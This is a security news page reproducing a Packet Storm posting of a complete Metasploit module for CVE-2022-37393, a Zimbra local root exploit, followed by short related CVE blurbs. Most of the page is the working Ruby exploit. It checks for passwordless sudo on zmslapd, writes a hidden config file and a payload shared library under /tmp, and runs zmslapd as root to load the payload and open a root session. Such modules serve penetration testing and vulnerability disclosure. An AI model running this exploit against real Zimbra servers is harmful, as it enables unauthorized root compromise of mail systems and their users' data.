Security
Headlines
HeadlinesLatestCVEs

Headline

Zimbra zmslapd Privilege Escalation

This Metasploit module exploits CVE-2022-37393, which is a vulnerability in Zimbra’s sudo configuration that permits the zimbra user to execute the zmslapd binary as root with arbitrary parameters. As part of its intended functionality, zmslapd can load a user-defined configuration file, which includes plugins in the form of .so files, which also execute as root.

Packet Storm
#vulnerability#linux#git#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Post::Linux::Priv  include Msf::Post::Linux::System  include Msf::Post::Linux::Compile  include Msf::Post::Linux::Kernel  include Msf::Post::File  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Zimbra zmslapd arbitrary module load',        'Description' => %q{          This module exploits CVE-2022-37393, which is a vulnerability in          Zimbra's sudo configuration that permits the zimbra user to execute          the zmslapd binary as root with arbitrary parameters. As part of its          intended functionality, zmslapd can load a user-defined configuration          file, which includes plugins in the form of .so files, which also          execute as root.        },        'License' => MSF_LICENSE,        'Author' => [          'Darren Martyn', # discovery and poc          'Ron Bowes',     # Module        ],        'DisclosureDate' => '2021-10-27',        'Platform' => [ 'linux' ],        'Arch' => [ ARCH_X86, ARCH_X64 ],        'SessionTypes' => [ 'shell', 'meterpreter' ],        'Privileged' => true,        'References' => [          [ 'CVE', '2022-37393' ],          [ 'URL', 'https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/' ],        ],        'Targets' => [          [ 'Auto', {} ],        ],        'DefaultTarget' => 0,        'Notes' => {          'Reliability' => [ REPEATABLE_SESSION ],          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ IOC_IN_LOGS ]        }      )    )    register_options [      OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),      OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),    ]    register_advanced_options [      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])    ]  end  # Because this isn't patched, I can't say with 100% certainty that this will  # detect a future patch (it depends on how they patch it)  def check    # Sanity check    if is_root?      fail_with(Failure::None, 'Session already has root privileges')    end    unless file_exist?("#{datastore['ZIMBRA_BASE']}/libexec/zmslapd")      print_error("zmslapd executable not detected: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")      return CheckCode::Safe    end    unless command_exists?(datastore['SUDO_PATH'])      print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")      return CheckCode::Safe    end    # Run `sudo -n -l` to make sure we have access to the target command    cmd = "#{datastore['SUDO_PATH']} -n -l"    print_status "Executing: #{cmd}"    output = cmd_exec(cmd).to_s    if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')      print_error('Current user could not execute sudo -l')      return CheckCode::Safe    end    if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd")      print_error('Current user does not have access to run zmslapd')      return CheckCode::Safe    end    CheckCode::Appears  end  def exploit    base_dir = datastore['WritableDir'].to_s    unless writable?(base_dir)      fail_with(Failure::BadConfig, "#{base_dir} is not writable")    end    # Generate a random directory    exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"    if file_exist?(exploit_dir)      fail_with(Failure::BadConfig, 'Exploit dir already exists')    end    # Create the directory and get ready to remove it    print_status("Creating exploit directory: #{exploit_dir}")    mkdir(exploit_dir)    register_dir_for_cleanup(exploit_dir)    # Generate some filenames    library_name = ".#{rand_text_alphanumeric(5..10)}.so"    library_path = "#{exploit_dir}/#{library_name}"    config_name = ".#{rand_text_alphanumeric(5..10)}"    config_path = "#{exploit_dir}/#{config_name}"    # Create the .conf file    config = "modulepath #{exploit_dir}\nmoduleload #{library_name}\n"    write_file(config_path, config)    write_file(library_path, generate_payload_dll)    cmd = "sudo #{datastore['ZIMBRA_BASE']}/libexec/zmslapd -u root -g root -f #{config_path}"    print_status "Attempting to trigger payload: #{cmd}"    out = cmd_exec(cmd)    unless session_created?      print_error("Failed to create session! Cmd output = #{out}")    end  endend

Related news

CVE-2023-29382: Security Center - Zimbra :: Tech Center

An issue in Zimbra Collaboration ZCS v.8.8.15 and v.9.0 allows an attacker to execute arbitrary code via the sfdc_preauth.jsp component.

CVE-2022-37393: Zimbra “zmslapd” Local Root Exploit.

Zimbra's sudo configuration permits the zimbra user to execute the zmslapd binary as root with arbitrary parameters. As part of its intended functionality, zmslapd can load a user-defined configuration file, which includes plugins in the form of .so files, which also execute as root.

Packet Storm: Latest News

CUPS IPP Attributes LAN Remote Code Execution